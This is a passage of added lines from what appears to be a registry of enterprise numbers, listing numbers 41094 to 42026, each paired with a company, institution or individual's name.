+41094 iS5 Communications Inc.
+41095 Evrisko Systems
+41096 Metadosis GP
+41097 Magnus LTD
+41098 ESPEC CORP.
+41099 COMPTA - EQUIPAMENTOS E SERVIÇOS DE INFORMÃTICA S.A.
+41100 Fon Wireless LTD
+41101 Simply Business
+41102 NS Solutions Corporation
+41103 Global Radio Services Limited
+41104 Transway Ltd.
+41105 Lognet Billing LTD
+41106 Institute of Photonics and Electronics AS CR, v.v.i.
+41107 Transact Technologies Inc
+41108 Mill Software
+41109 TriVu Media
+41110 Good Dog Design
+41111 66 VISION TECH CO.,LTD
+41112 Ubiquiti Networks, Inc.
+41113 Barnfind Technologies AS
+41114 S2 Factory, Inc.
+41115 Glarner Kantonalbank
+41116 DEBES ENGINEERING
+41117 Richard Wolf GmbH
+41118 Stadt Duisburg
+41119 3 Stack Technologies
+41120 CMosaix
+41121 Terminal plus, LLC
+41122 Pindrop Security
+41123 Sumo Logic, Inc.
+41124 KfW
+41125 Mystic Video, Inc.
+41126 SFERA
+41127 Linux Router Systems
+41128 Knorst Consulting LTDA
+41129 WideNet
+41130 Mint Medical GmbH
+41131 LUGO TERMINAL SPA
+41132 Västra Götalandsregionen
+41133 Alinean, Inc.
+41134 Ronal AG
+41135 Salsbury Engineering, Inc.
+41136 Ryan Spinuzzi
+41137 Autotoll Limited
+41138 10gen, Inc.
+41139 NextGenTel AS
+41140 nplawes
+41141 Southeast Health
+41142 Instant Solutions LTDA
+41143 Goodloe Consulting Group, LLC
+41144 Initra d.o.o.
+41145 Industrial Control Communications, Inc
+41146 VertiCloud
+41147 The Southampton Hospital Association
+41148 Binary Software Indy, llc
+41149 Shandong New Beiyang Information Technology Co., Ltd. (SNBC)
+41150 Acelis SARL
+41151 dev.ncds.eu
+41152 Cyfrowy Polsat SA
+41153 Status Nobilis SA
+41154 trojniak.net
+41155 Oberlin College
+41156 Solmate Group
+41157 JEFFREY WALTER HEISEY
+41158 Special Services Division, NCISS
+41159 Media Group LLC
+41160 Copper Systems Ltd
+41161 Bentsen Electronics
+41162 Software Daten Service
+41163 INVAP S.E.
+41164 Tulsa Technology Center
+41165 SKYERA Inc
+41166 streibelt.net
+41167 Pomona Valley Hospital Medical Center
+41168 Excelitas
+41169 Scorpio IT
+41170 NOVXTEL
+41171 MECC CO., LTD.
+41172 HEC Paris
+41173 Dream Chip Technologies GmbH
+41174 Mount Vernon Hospital Physics (UK)
+41175 Aartesys AG
+41176 Energy X Systems Ltd.
+41177 Ocean Interactive (Beijing) Technology Co. Ltd
+41178 Proftal Oy
+41179 DirectTrust.org Inc.
+41180 Process Query Systems, LLC
+41181 conversis technologies GmbH
+41182 Digital Imaging Lab.
+41183 Contim Automação de Sistemas Ltda
+41184 FreedomVoice Systems
+41185 Norwia AS
+41186 QuantuMatriX Technologies
+41187 Video Tech Laboratories
+41188 University of California Hastings College of the Law
+41189 Sika Informationssysteme AG
+41190 Invensys Rail
+41191 Educastream
+41192 VICTORY Standards Support Office
+41193 TELETOR, LLC
+41194 Piratenpartei Deutschland Landesverband Saarland
+41195 Imecon Engineering srl
+41196 SimpliVity Corporation
+41197 Epicard SA
+41198 Ryan J. Geyer
+41199 OPTEYA SAS
+41200 Vision Microsystems Co.,ltd.
+41201 ZeroSpace ICT Services B.V.
+41202 Intigua Inc.
+41203 Swiss Bankers Prepaid Services AG
+41204 AVASAD
+41205 Colégio Técnico Industrial de Santa Maria (CTISM)
+41206 Travelex Limited
+41207 Yospace Technologies Ltd
+41208 Gorodissky & Partners, Ltd.
+41209 Qpay Inc.
+41210 Santa Fe College
+41211 CherryRoad Technologies Inc.
+41212 Providigm
+41213 bitagentur GmbH & Co. KG
+41214 Cloud Concepts
+41215 INFOMARK CO., LTD.
+41216 Monitise Group Limited
+41217 Xcision Medical Systems, LLC
+41218 Vera Networks, LLC
+41219 Lytzen IT A/S
+41220 PS-IT-Consulting
+41221 IMDIT GmbH
+41222 Jnsys
+41223 DCT DELTA AG (formerly 'ASC-TEC AG')
+41224 MobileVaults, Inc. (formerly 'CloudVaults, LLC')
+41225 JSC Volga
+41226 Ennetix
+41227 Voice Conferencing Systems for Misson Control Centers (vocsmcc)
+41228 CoreMeda
+41229 Friulia SPA
+41230 Usharesoft
+41231 IntelliMagic B.V.
+41232 ZFSoft
+41233 HubSpot, Inc.
+41234 RNelson Consulting
+41235 Schalter Eletrônica
+41236 Telepoint Global Hosting Services, LLC.
+41237 Great Lakes Data Systems Inc.
+41238 Shane Spinuzzi
+41239 Charles County Goverment
+41240 Mijares Consultoría y Sistemas SL
+41241 ARC Document Solutions, Inc
+41242 Shanghai PPLive Media Tech. Co.,Ltd
+41243 Desoma GmbH
+41244 ABAK Systèmes
+41245 Sadara Internet
+41246 2600hz
+41247 Rakennusliitto ry
+41248 IETFNG.org
+41249 Silent Circle LLC
+41250 Globosat Programadora LTDA
+41251 Simple Software Solutions
+41252 Wicked Software
+41253 Millry Telephone Co
+41254 Wroclaw School of Applied Informatics "Horyzont"
+41255 Maui Systems Ltd
+41256 NormanStudios
+41257 SignOn
+41258 Jason R. Gonsalves
+41259 Lullabot, Inc.
+41260 Wheatstone Corporation
+41261 Vectra Networks Inc. (formerly 'TraceVector')
+41262 Institut National de Physique Nucléaire et de Physique des Particules
+41263 Nutanix Inc.
+41264 Kent and Essex Police IT Directorate
+41265 infOpen
+41266 Igor Posledov
+41267 Benbro Electronics Pty Ltd
+41268 Elsicom Ltd.
+41269 Dr. V.M.Ponzoni ICT Outsourcing
+41270 Vibicom Communications Inc.
+41271 Ondot Systems, Inc.
+41272 Cascade Microtech, Inc.
+41273 Lakehead University
+41274 Bluwan S.A
+41275 Kapsch Telematic Services Sp. z o.o.
+41276 BCi Limited
+41277 Computer System Corp.
+41278 Stateless Networks
+41279 Danish Broadcasting Corporation
+41280 Neul Limited
+41281 tols.org
+41282 SpeechStorm Ltd.
+41283 IEX Group, LLC
+41284 Celestech, Inc
+41285 Clemex Technologies Inc
+41286 The Libreswan Project
+41287 Red Bull GmbH
+41288 J.D. Irving, Limited, IT Division
+41289 Lanaccess Telecom
+41290 o3, d.o.o.
+41291 LEO Pharma A/S
+41292 LSU Health System
+41293 Taylor Innovations, LLC
+41294 Datafrog
+41295 Andalusia Group
+41296 E-Gate Communications Inc.
+41297 Nextech Co.,Ltd
+41298 BRGFrauengasse
+41299 Infodom d.o.o.
+41300 Deganius
+41301 CSF Scientific Computing Core
+41302 Unified Technology Ltd
+41303 Six Degrees Managed Data Ltd
+41304 QiNet SRL
+41305 Gehirn-Mag.Net (formerly 'Schoch-IT UG')
+41306 Columbus College of Art & Design
+41307 LDS Technology Group
+41308 ALCO Aircraft
+41309 Inter Dimensional Space Port
+41310 dwApi, Ltd.
+41311 Missouri Western State University
+41312 Netscreens LTD.
+41313 OLTRI LLC
+41314 A.E.Q. Aplicaciones Electrónicas Quasar
+41315 Recording Enterprise Solution (R.E.S.)
+41316 Velocimetrics Ltd
+41317 DAC Beachcroft LLP
+41318 Adaptavist
+41319 Netbuilder S.r.l.
+41320 Diagnosoft
+41321 Commsky Technologies(HangZhou)Co.,Ltd.
+41322 Time-O-Matic, Inc.
+41323 Reid Hospital & Health Care Services
+41324 Centre de services partagés du Québec
+41325 Uber Technologies, Inc.
+41326 Dangerous Linux
+41327 Radiology.io, Inc
+41328 blackned GmbH
+41329 Soncatec Oy
+41330 Eurotoll
+41331 NxtGrid Ltd
+41332 Fourth Watch Business Continuity Services LC
+41333 ShenZhen Great Electronic Technology Co., LTD
+41334 Feldhaus - Uhlenbrock Sicherheit &Technik GmbH
+41335 AMPEG GmbH
+41336 UEL - Universidade Estadual de Londrina
+41337 WingSystem Rst. inc.
+41338 Imagination Team
+41339 Duons
+41340 Friedrich Miescher Institute for Biomedical Research
+41341 Knobbe, Martens, Olson & Bear, LLP.
+41342 IMAIOS SAS
+41343 Qihong Computer Science & Technology Co. Ltd
+41344 FirmWin software technology Co. Ltd
+41345 Nectar Services Corporation
+41346 Certiwise
+41347 Comsys Bärtsch AG
+41348 Ronyo
+41349 Enigmedia
+41350 ITManx Ltd
+41351 FJM Security Solutions, LLC
+41352 Paychex, Inc.
+41353 Waukegan Public Schools
+41354 Parker Poe Adams and Bernstein, LLP
+41355 Optic Cloud Technology Co,.Ltd
+41356 Tufts Clinical and Translational Science Institute
+41357 Groupe Clarins
+41358 JSC «AMB Bank»
+41359 Triax AS
+41360 Prodrive B.V.
+41361 KYOS SARL
+41362 Transport Department, HKSARG
+41363 Naunet Corporation
+41364 MIRACLE Information Systems GmbH
+41365 Avon and Wiltshire Mental Health Partnership NHS Trust
+41366 Citelum
+41367 A.T.WORKS, Inc.
+41368 Nilsoft Janko Debenjak s.p.
+41369 Burri IT Systems
+41370 JHome Consulting, Ltd.
+41371 2ndQuadrant
+41372 ConVista Consulting AG
+41373 Seawind Sud America
+41374 Fachschaftsrat Elektrotechnik an der TU Dresden
+41375 Switching Power Inc.
+41376 Hivecast Corporation
+41377 IONHT CO.,LTD
+41378 Rodnik SPE, Inc.
+41379 Miros AS
+41380 KORUS Consulting SNG Ltd
+41381 CJSC NEC Neva Communications Systems
+41382 Fundacion Social Camara Chilena de la Construccion
+41383 DURR Systems GmbH
+41384 Zakład Usług Informatycznych OTAGO Sp. z o.o.
+41385 Deep Sea Electronics plc
+41386 SYBORG Informationssysteme b.h. OHG
+41387 Nest Labs
+41388 IRIS Analytics GmbH
+41389 Smarsh Inc
+41390 Suzhou Anke Medical System Co., LTD
+41391 OOO TFPK
+41392 Livesport s.r.o.
+41393 Oh Leck!
+41394 quarxConnect
+41395 Codiac GmbH
+41396 V-Nova Ltd
+41397 ARAG SE
+41398 Micaela Gasper LMT
+41399 Groupe Dynamite Inc.
+41400 ECCEL CORP
+41401 Northwest Savings Bank
+41402 NMS Guru, Inc
+41403 Apcera, Inc.
+41404 Rayan Roshd Electronic
+41405 FrontRange Solutions
+41406 focom limited
+41407 Commune de Blonay
+41408 Strix d.o.o.
+41409 CDJEM
+41410 NTS Netzwerk Telekom Service AG
+41411 ThinkSkink S.A. de C.V
+41412 Innovative Technical Decisions LTD
+41413 Xetawave, LLC
+41414 Systeme-U (GIE Iris)
+41415 Lucile Packard Children's Hospital at Stanford
+41416 Futura Retail Solution AG
+41417 rosemann software GmbH
+41418 Toopher, Inc
+41419 Schlenkermann
+41420 Comunicación y Tecnología Araos LTDA
+41421 Arizona Engineered Products LLC
+41422 Vello Systems Inc.
+41423 Horasphere Inc.
+41424 National Computer Board
+41425 iQsim
+41426 Flexlab Ltd.
+41427 Benbria
+41428 Otter Tail Power Company
+41429 Incoax Networks Europe AB
+41430 New Zealand Ministry of Business, Innovation and Employment
+41431 Tahiti Nui Arena
+41432 Bernhard Czech
+41433 GROWMARK, Inc.
+41434 Rolamasao.org
+41435 Smart Associates Limited
+41436 Allwin Telecommunication Co., Ltd.
+41437 Geoffroy Gramaize
+41438 HITOTEK Co.,Ltd
+41439 Moscow Psychological and Social University
+41440 Stabilus GmbH
+41441 Tohoku University
+41442 Berger Gunkel IT Systeme GmbH
+41443 Evotope AS
+41444 Syslore Oy
+41445 Broadcast Over cellular
+41446 APEX Medicus UAB
+41447 INGECOM
+41448 Electronic Tolling Société Habilitée fournissant un service de Télépéage (toll service provider) Front End
+41449 Teranga-Software
+41450 SheepDip Project
+41451 Candid Color Systems, Inc.
+41452 LUISLAIN.COM
+41453 Decura IM LLP
+41454 Globig Consulting
+41455 International Radio and Electronics Corporation (formerly 'Chrisso Technologies, LLC')
+41456 Tintri Inc.
+41457 Bauman Moscow State Technical University (BMSTU)
+41458 Ensoft Ltd
+41459 Cofely Zuid Nederland BV
+41460 Bundesnotarkammer
+41461 ELMITEL d.o.o.
+41462 Actiontec Electronics Inc.
+41463 Air Internet Service Co.,Ltd.
+41464 MAXIOL Ltd.
+41465 DiceLock Security, SL
+41466 JAKE Pty Ltd
+41467 Shanghai iComhome Co., Ltd.
+41468 Zakład Ubezpieczeń Społecznych
+41469 Lactalis Danmark
+41470 IMAGiNA Visión Artificial S. L.
+41471 Basware (formerly 'Basware Belgium')
+41472 PKP CARGO S.A.
+41473 Overseas Private Investment Corporation
+41474 Pascagoula School District
+41475 Shenzhen Tencent computer system Co., Ltd.
+41476 LightSquared
+41477 Computer Systems Institute
+41478 ExtremFarm Ltd.
+41479 Koenig & Bauer AG Werk Bielefeld
+41480 LA DETECTION ELECTRONIQUE FRANCAISE - DEF
+41481 MedischeGegevens.nl
+41482 Yubico
+41483 4Safe Advanced Solutions
+41484 VidOvation - Moving Video Forward
+41485 FPX, LLC
+41486 Sargent & Lundy, L.L.C.
+41487 Ostrovok.ru
+41488 City of Naperville
+41489 Hakwerk IT B.V.
+41490 SUNGSAM CO., Ltd.
+41491 KDDI Web Communications Inc.
+41492 Mobtechonline
+41493 Bangkok Pacific Steel Co., Ltd.
+41494 Hydac Verwaltung GmbH
+41495 Northgas
+41496 Dedicated Network Partners
+41497 Optimus S.A.
+41498 SCHOTT AG
+41499 Orgacomm international S.A.
+41500 faboleon bonaparte
+41501 Afghanistan Root Certification Authority (ARCA)
+41502 Balogh SA
+41503 St. Tammany Parish Hospital
+41504 Les solutions Asentri inc
+41505 ALLIANCE AVIA
+41506 Maniilaq Association
+41507 Cloud21
+41508 Rest Network
+41509 SPING
+41510 NAS Recruitment Communications
+41511 Municipality of Athens
+41512 DENSAN.CO.,LTD.
+41513 Autonomy Systems Limited
+41514 LiHAS - Adrian Reyer
+41515 QUADRAC Co. Ltd.
+41516 SaitecSrl
+41517 Eagle Electronics
+41518 Ingram Content Group
+41519 OpenADR Alliance
+41520 Jakub Juszczakiewicz
+41521 Zebsys Ltd
+41522 www.info-x.org
+41523 Cloudseed
+41524 Neratec Solutions AG
+41525 Hubject GmbH
+41526 MJP Communications Ltd
+41527 Paperless
+41528 Dunder Mifflin
+41529 Zenerji, LLC
+41530 USIX Co., Ltd.
+41531 Basic., INC.
+41532 Quick2Wire Limited
+41533 CDS Call Dispatch Scholz GmbH
+41534 VoiceHost Ltd
+41535 Cleo Communications US, LLC
+41536 Vix Technology
+41537 U.P. Joven Club de Computación y Electrónica
+41538 DARC e.V. OV Freiburg
+41539 RAGged Software
+41540 Intelligent Software Solutions, Inc.
+41541 Ardral Co.
+41542 Monnit Corporation
+41543 Advanced Power Laboratories
+41544 Fish Eagle Limited
+41545 Gravity Networks
+41546 Innologica JSC
+41547 MOVASIM
+41548 Laimbock Consulting
+41549 runtastic GmbH
+41550 Interlogica
+41551 Navayo Research Kft.
+41552 Compagnie Nationale des Commissaires aux Comptes
+41553 Spellpoint Oy
+41554 ITX Secrurity
+41555 ECOIT
+41556 Fexco Merchant Services LTD
+41557 AutoUplink Tech
+41558 DigitalSignal
+41559 GRUP SERHS, S.A.
+41560 Landesforsten Rheinland-Pfalz
+41561 Inteligo Financial Services SA
+41562 Nexiens
+41563 BioLink Solutions Ltd.
+41564 Selectel LLC.
+41565 Ministry of Taxes of the Republic of Azerbaijan
+41566 amagical.net
+41567 A B Gensets Inc.
+41568 Sokuda Technologies(Beijing), Inc.
+41569 Mobile Interactiva S.L.
+41570 9bit, Borut Mrak s.p.
+41571 Global Linking Solutions
+41572 BRS Labs
+41573 ITRun Consulting Sp. z o.o.
+41574 UNIÃO BRASILEIRA DOS ESTUDANTES SECUNDARISTAS
+41575 Modern Woodmen of America
+41576 Uniao Nacional dos Estudantes
+41577 Car Connectivity Consortium
+41578 MAC IT Solutions
+41579 Teraoka Seiko Co., Ltd.
+41580 Homer Electric Association, Inc.
+41581 RB Generalekonomik
+41582 Maksat Tech Pvt Ltd
+41583 ZAO NHK
+41584 GCC Ltd.
+41585 EILEO
+41586 ENSTEAM Sp. z o.o. (c/o E-FISH Sp. z o.o.)
+41587 HOLLY&Co.,Ltd.
+41588 Shumilov Nikita Sergeevich
+41589 Jolokia
+41590 Wirtschaftsagentur Wien. Ein Fonds der Stadt Wien.
+41591 Sipi srl
+41592 Evanti
+41593 Sard Verbinnen & Co
+41594 LLC "Ekb-Info"
+41595 Genesis Technical Systems Corp
+41596 HornersCorners, LLC
+41597 RFEvolution s.r.l.
+41598 Instituto Federal Catarinense - Campus Concórdia
+41599 University of the Philippines - Diliman
+41600 ABDUL KHALEK STORE
+41601 Myriad Group AG
+41602 Links Global Services, C.A.
+41603 SOMANSA Co., Ltd
+41604 Monitor Electric Joint Stock Company
+41605 Georgia's Own Credit Union
+41606 centrotherm photovoltaics AG
+41607 One IP
+41608 EFP Rotenberg LLP
+41609 Kjempekjekt AS
+41610 Aspectra AG
+41611 Bank Vontobel AG
+41612 Swisscom Energy Solution AG
+41613 Controles S.A.
+41614 Eagleville Hospital
+41615 Manhattan College
+41616 Weeo Group
+41617 Sparta Consulting
+41618 OJSC Bank SGB
+41619 Hospitality Alliance AG
+41620 Eric Lakin
+41621 Ministerio de Gobierno y Reforma del Estado
+41622 XOR Media, Inc.
+41623 One Tech Inc.
+41624 Bell Aliant
+41625 Mended Duck Computer Services
+41626 Geller & Company LLC
+41627 Cenwell LTD
+41628 Learning Media Ltd
+41629 Chakra Network Solutions Private Limited
+41630 SENSEMATIX
+41631 Tasneem electronics LLC
+41632 PT.Bina Buana Raya
+41633 Certivox Ltd.
+41634 EDV Beratung Haag
+41635 NBC Elettronica Group Srl
+41636 Tolaris.com
+41637 Talia Ltd
+41638 Socus networks
+41639 SVSI
+41640 Laconisoft LLC
+41641 Colglazier Clinic
+41642 ThinKom Solutions, Inc.
+41643 RCG Creations Limited
+41644 Cinegy GmbH
+41645 Sinogram Technology (Beijing) Co., Ltd.
+41646 QUADROtech Solutions AG
+41647 SpectrAp
+41648 Shenzhen SDGI Optical Network Technologies Co,. Ltd.
+41649 Schnoor Industrieelektronik GmbH & Co. KG
+41650 Engisoft
+41651 Dapesco S.A.
+41652 IdentSign
+41653 KCG Europe Ltd (formerly 'GETCO Europe Ltd')
+41654 E.A.L. Apeldoorn B.V.
+41655 CardSmart Technologies
+41656 2024Sight INC.
+41657 Bressner Technology
+41658 United Business Media
+41659 Datasat Technologies Ltd
+41660 SciVisum Ltd
+41661 SEKAS GmbH
+41662 Capio S:t Görans Sjukhus AB
+41663 Philippe Bonatti
+41664 Costaneira - Arno Johann S/A Comércio de Material de Construção
+41665 George Flemming LLC
+41666 Government of Yukon
+41667 Park Bench Software
+41668 The Evergreen State College
+41669 Spiros Iliadis
+41670 AddOn Holding Gmbh
+41671 Atelier WW Architekten SIA AG
+41672 TECMASUR CIA. LTDA.
+41673 Lapsum
+41674 WAS.ch GmbH
+41675 ArmOwl LAB (Roman V. Kosinskiy)
+41676 Gordon Broom
+41677 Nicholas Brown
+41678 SIBOAVANCE
+41679 OVNETAP
+41680 Media Netwerk AS
+41681 Chudyk Cloud Services
+41682 ASSEMBLY Organizing Oy
+41683 Nebula Media Solutions Ltd.
+41684 Pyzuka
+41685 nfotex Informationstechnologie Dienstleistungs GmbH
+41686 Uzin Utz AG
+41687 Cold Crossing
+41688 EOS Sistemi s.r.l.
+41689 Thüga Aktiengesellschaft
+41690 Dension Audio Systems
+41691 Horizon Forest Products, LLP
+41692 Renee Marie Jones
+41693 Nyingma Association of Mangalam Organizations - Communications And Network Infrastructure
+41694 Christians Against Poverty
+41695 Translational Centre for Regenerative Medicine (TRM)
+41696 Actia Systems España SAU
+41697 European Central Bank
+41698 Lucas-Consulting
+41699 LGS Innovations
+41700 eyeReturn Marketing Inc.
+41701 Jarvis Ford
+41702 Levart Distribution Systems Pty. Ltd.
+41703 ATM-12
+41704 Neoflow. Co., Ltd.
+41705 Institutul de Dezvoltare a Societatii Informationale
+41706 Trollhattan Stad IT
+41707 Solbox Inc.
+41708 Superior Access Solutions, Inc.
+41709 EAP Technologies, Inc.
+41710 ATES Networks
+41711 Dossia
+41712 ISTHARI
+41713 Melet.com
+41714 Azuki Systems, Inc.
+41715 Universal Cinema Services Co., Ltd.
+41716 Rational Retention, LLC
+41717 Blekinge Institute of Technology
+41718 Ouroboros
+41719 Qosmotec GmbH
+41720 Saisei Networks Inc
+41721 International Communications Corporation INC
+41722 Information Networks Ltd.
+41723 XGEN - Web Business
+41724 Chengdu SKSpruce Technology Inc.
+41725 Tere.com Networks OÜ
+41726 Dr. Sulaiman Al Habib Medical Group
+41727 Sabatier Geolocalisation
+41728 athenahealth, Inc.
+41729 United Equitable Group, Ltd.
+41730 Arab States Research and Education Network, GmbH
+41731 Prodware Deutschland AG
+41732 Mathias Haimerl 3S
+41733 Parallel Wireless
+41734 V10 Networks
+41735 Teletech Pty. Ltd.
+41736 Beatrice Wireko IT
+41737 Bryan Health
+41738 Algo Communication Products Ltd.
+41739 Five9, Inc.
+41740 TheGunns.net
+41741 Ittim Technology Co.Ltd
+41742 IMEC
+41743 eKing Technology Co., Ltd.
+41744 Z3 Technology
+41745 FrozenWarrior.com
+41746 Chengdu Kingtype Digital TV Equipment Co., Ltd.
+41747 Oliver Solutions
+41748 CensorNet Ltd
+41749 Owens State Community College
+41750 Head Department for Statistics and Information Technologies of State Customs Committee
+41751 ROBIN'S
+41752 ZAO "NPK Rotek"
+41753 Greg Waterhouse
+41754 Daniel Sage
+41755 Lastline, Inc.
+41756 REVCORD - Revolutionizing Voice Recording
+41757 Prism Systems, Inc.
+41758 Axham Corporation
+41759 Open Computing Facility
+41760 TibetSystem Co.,Ltd.
+41761 Atea Sverige AB
+41762 Mayak LTD
+41763 JSC «BystroBank»
+41764 ETAT DE FRIBOURG
+41765 Troyer AG
+41766 Flow-Data, Inc
+41767 IDSS AB
+41768 Beijing Telesound Electronics Co., Ltd.
+41769 IS4IT GmbH
+41770 Ascendi
+41771 Fundamental Games
+41772 Auth-servers
+41773 TelVue Corporation
+41774 Health Research, Inc.
+41775 Global Solutions Tecnologia da Informação LTDA
+41776 IACIT Soluções Tecnológicas LTDA
+41777 GSE Environmental, LLC
+41778 Lake Avenue Congregational Church of Pasadena
+41779 QualityLogic Inc.
+41780 Telesphere Networks Ltd
+41781 Digby Wells Environmental
+41782 Pacific Design Enginering
+41783 Geolink Satellite Services
+41784 ifbyphone, Inc.
+41785 Mary Washington Healthcare
+41786 Ryu project
+41787 HyperMatrix Solutions Ltd.
+41788 kuederli.net
+41789 AlTaysir for Information Systems Security Consulting LLC
+41790 I-CONCEPT
+41791 eSPe
+41792 Alrayyan for media and marketing co
+41793 North East Independent School District
+41794 High Point PC Solutions
+41795 Net Consulting UK Ltd
+41796 EleSy
+41797 STC Systema
+41798 astozi
+41799 William Hill
+41800 GaHIN (Georgia Health Information Network)
+41801 Prattville Water Works Board
+41802 Talkpath LLC
+41803 On Center Software, Inc.
+41804 Austrian Federal Ministry of Science and Research
+41805 Guidance Solutions, Inc.
+41806 Viastorage
+41807 GuiZhou BC&TV Information Network Co.,LTD
+41808 Administration of Municipal Formation of the City-Hero of Novorossiysk
+41809 Dismuntel S.A.L.
+41810 Credit Agricole Bank, PJSC
+41811 Spital Männedorf AG
+41812 Rouis Labs
+41813 Anhui comhigher tech co.,ltd
+41814 Hubei University Of Automotive Technology
+41815 Fraunhofer-Institut fuer Software- und Systemtechnik ISST
+41816 Blissful Living Foundation
+41817 Cooper Gitiesse
+41818 Quotient, Inc.
+41819 IPNetwork
+41820 Kanton Basel-Landschaft
+41821 Frantovo.cz
+41822 Project FiFo
+41823 Miaozhen Systems
+41824 Université Gaston Berger
+41825 Agilord Ltd.
+41826 Prognus Soluções Livres em TI
+41827 Novantum BV
+41828 NySoft Argentina SRL
+41829 MEDDATA
+41830 PicoCELA Inc.
+41831 Bitbase AS
+41832 Private Entrepreneur Kutsevol Maxym
+41833 Paree BV - Elektro Telecom
+41834 BRAM Technologies
+41835 JDL Digital Systems Inc.
+41836 Commend International GmbH (formerly 'bct electronic GesmbH')
+41837 Evan-Moor Corp
+41838 Dynamic Network Services Inc.
+41839 Prism-IPX Systems, LLC
+41840 University of the Philippines Manila
+41841 Zhuhai Bluemax Broadband Electronic Co.,Ltd
+41842 Novosibirsk State University
+41843 Uni-Film-Club Dortmund
+41844 PERF-IT B.V.
+41845 Bitcarrier S.L.
+41846 Chinasoft International Co., Ltd.
+41847 EDALab s.r.l.
+41848 TOVEK
+41849 CIDON
+41850 DaySequerra Corporation
+41851 zeb/rolfes.schierenbeck.associates gmbh
+41852 Peregrine Capital Management
+41853 RAMI
+41854 W.J. Bradley
+41855 Logol
+41856 Grand Valley State University
+41857 AGENCE NATIONALE DES INFRASTRUCTURES NUMERIQUES ET DES FREQUENCES
+41858 The Trade Desk, Inc.
+41859 Hidden Design Kft.
+41860 Oryon TI
+41861 Tucker Ellis LLP
+41862 Metawell
+41863 Mongoose GFX
+41864 EyeKor LLC.
+41865 Monitor Business Machines Ltd
+41866 Hitachi-LG Data Storage, Inc.
+41867 yinyuetai
+41868 elecom co., ltd.
+41869 Selex Gematronik GmbH
+41870 Notartel S.p.A
+41871 Sonifex Ltd
+41872 Masdar PV GmbH
+41873 Institut Superieur d'Electronique de Paris (ISEP)
+41874 LLC "ANTE-MEDIAM"
+41875 Esselte IPR AB
+41876 FOXCOMM NETWORKS
+41877 Orban
+41878 Tobias & Tobias
+41879 Mind Labs
+41880 MIcrotel Innovation S.r.l.
+41881 Korbitec (Pty) Ltd.
+41882 KLU Consulting / KÅkua Lolo Uila
+41883 Trojan Technologies
+41884 Katherine Shaw Bethea Hospital
+41885 NDsoftware
+41886 Beijing Sapling Technology Co.,Ltd
+41887 ENSCO, Inc.
+41888 Friedrich-Schiller-Universität Jena
+41889 Nine Internet Solutions AG
+41890 Cuyahoga Community College District
+41891 Holland LP
+41892 BIFIT Service
+41893 DBM S.r.l.
+41894 Logistica Integral
+41895 Alliance Data
+41896 Alberta Electric System Operator
+41897 Inovar
+41898 Australian Nuclear Science Technology Organization
+41899 YU JYA TECHNOLOGY CO., LTD.
+41900 Ministry of Interior, Bulgaria
+41901 CSG SCIENCE&TECHNOLOGY CO., LTD.HEFEI
+41902 Gemeindeverwaltung Landquart
+41903 ETL Solutions Ltd.
+41904 Impala Editores, SA
+41905 Great-West Life
+41906 VeriSign, Inc.
+41907 LoudCell Technologies Pvt Ltd.
+41908 HanKeInfo
+41909 AventuraHQ, Inc
+41910 Zentyal
+41911 Great Plains Manufacturing, Inc.
+41912 International Electrotechnical Commission
+41913 Tecsys do Brasil Industrial Ltda
+41914 Bradford Robotic Telescope
+41915 Southwestern Energy Co.
+41916 vIPtela Inc.
+41917 Leica Geosystems AG
+41918 CIT Telecom-Service JSC
+41919 Ugobame Uchibeke
+41920 Shenzhen Integrated Electronic Systerms Lab Co.,Ltd.
+41921 Beijing Infomedia Electronic Technology Co., Ltd
+41922 GuangDong Super Telecom Co,Ltd.
+41923 Patrick Sczepanski
+41924 Digital Value SL
+41925 Nufarm Limited
+41926 Finecom Telecommunications AG
+41927 FORO-tele
+41928 Muir Matheson Ltd
+41929 Jung, DMS & Cie. AG
+41930 Nautronix Limited
+41931 CMC Electronics
+41932 HSC Brasil
+41933 Aligera
+41934 NKI AS
+41935 Indian River County Sheriff
+41936 Marway Power Solutions
+41937 Escola Agricola de Jundiai - EAJ/UFRN
+41938 INCEPTRUM Technologies Inc.
+41939 Tralix México S. de R.L. de C.V.
+41940 Bradbury School
+41941 StuStaNet e. V.
+41942 Lettergen
+41943 Bartec GmbH
+41944 Virginia Department of Behavioral Health and Developmental Services
+41945 Institution Solutions
+41946 The Information Architecture Institute
+41947 Unidem Sales Inc
+41948 Job Snijders
+41949 Danmagi
+41950 DTI Solutions
+41951 Quarles & Brady, LLP
+41952 Asad Ahmed
+41953 JSC "ESC of EVRAAS"
+41954 Polewall Norge AS
+41955 Jansen AG
+41956 Fellig e.V.
+41957 Olfeo
+41958 Prime Rate Ltd.
+41959 Earlham College
+41960 easygo
+41961 IntraCom Systems, LLC
+41962 3ZTelecom Inc.
+41963 WebAmphibian.Com
+41964 Ozona Consulting, S.L.
+41965 Mano Namai UK
+41966 Applied Card Technologies Ltd.
+41967 Pivot Point Security
+41968 EPCOTS
+41969 Enero Solutions, inc.
+41970 Orion Networks International, Inc.
+41971 Touch Tecnologia e Informática LTDA
+41972 Poznan University of Life Sciences
+41973 Generation Tech
+41974 Auf nach Mallorca GmbH
+41975 ALNET ELEKTROMEKANIK LTD
+41976 Turvasana Tmi
+41977 Oakland County, Michigan
+41978 BEIJING DING QING TECHNOLOGY LTD.
+41979 Mitsubishi Electric TOKKI Systems Corporation
+41980 Neo-Renaissance Studios
+41981 AerVox
+41982 zetVisions AG
+41983 Vorboss Limited
+41984 meterriblecrew.net
+41985 Desvaux Labs
+41986 deepearth.co.uk
+41987 BMO Capital Markets
+41988 Van Wert County Hospital
+41989 Alphatron Security Systems
+41990 Pelagicore AG
+41991 Super-Visions
+41992 HOPPE Holding AG
+41993 Redactia
+41994 Jonas Kopp Systems Trust Network
+41995 SIA-CE
+41996 COM-TECH Italia S.p.A.
+41997 Silversky Inc.
+41998 Bumicom Telecommunicatie B.V.
+41999 e2x Ltd.
+42000 National Mineral Resource University
+42001 TechDivision GmbH
+42002 Hurrikane Systems
+42003 Akron Public Schools
+42004 Gertec
+42005 NHST MEDIA GROUP AS
+42006 netis korea
+42007 nikolakoco
+42008 BumeBox, Inc.
+42009 Riava Networks Inc.
+42010 Luxul Corporation
+42011 ISAAC Software Solutions B.V.
+42012 Mangold Technologies
+42013 Registro General de la Propiedad de Guatemala
+42014 Francois Trahan
+42015 Weilhammer Networks
+42016 Kingman Regional Medical Center
+42017 MailMak ApS
+42018 numo labs Pty. Ltd.
+42019 Fort-Telecom
+42020 Piter Gaz JSC.
+42021 VoiceCom SA
+42022 ITUS JAPAN Co.,Ltd.
+42023 Thetus Corporation
+42024 Cibertec Internacional
+42025 Koji Komatsuzaki
+42026 TSTREAM CO.,LTD.
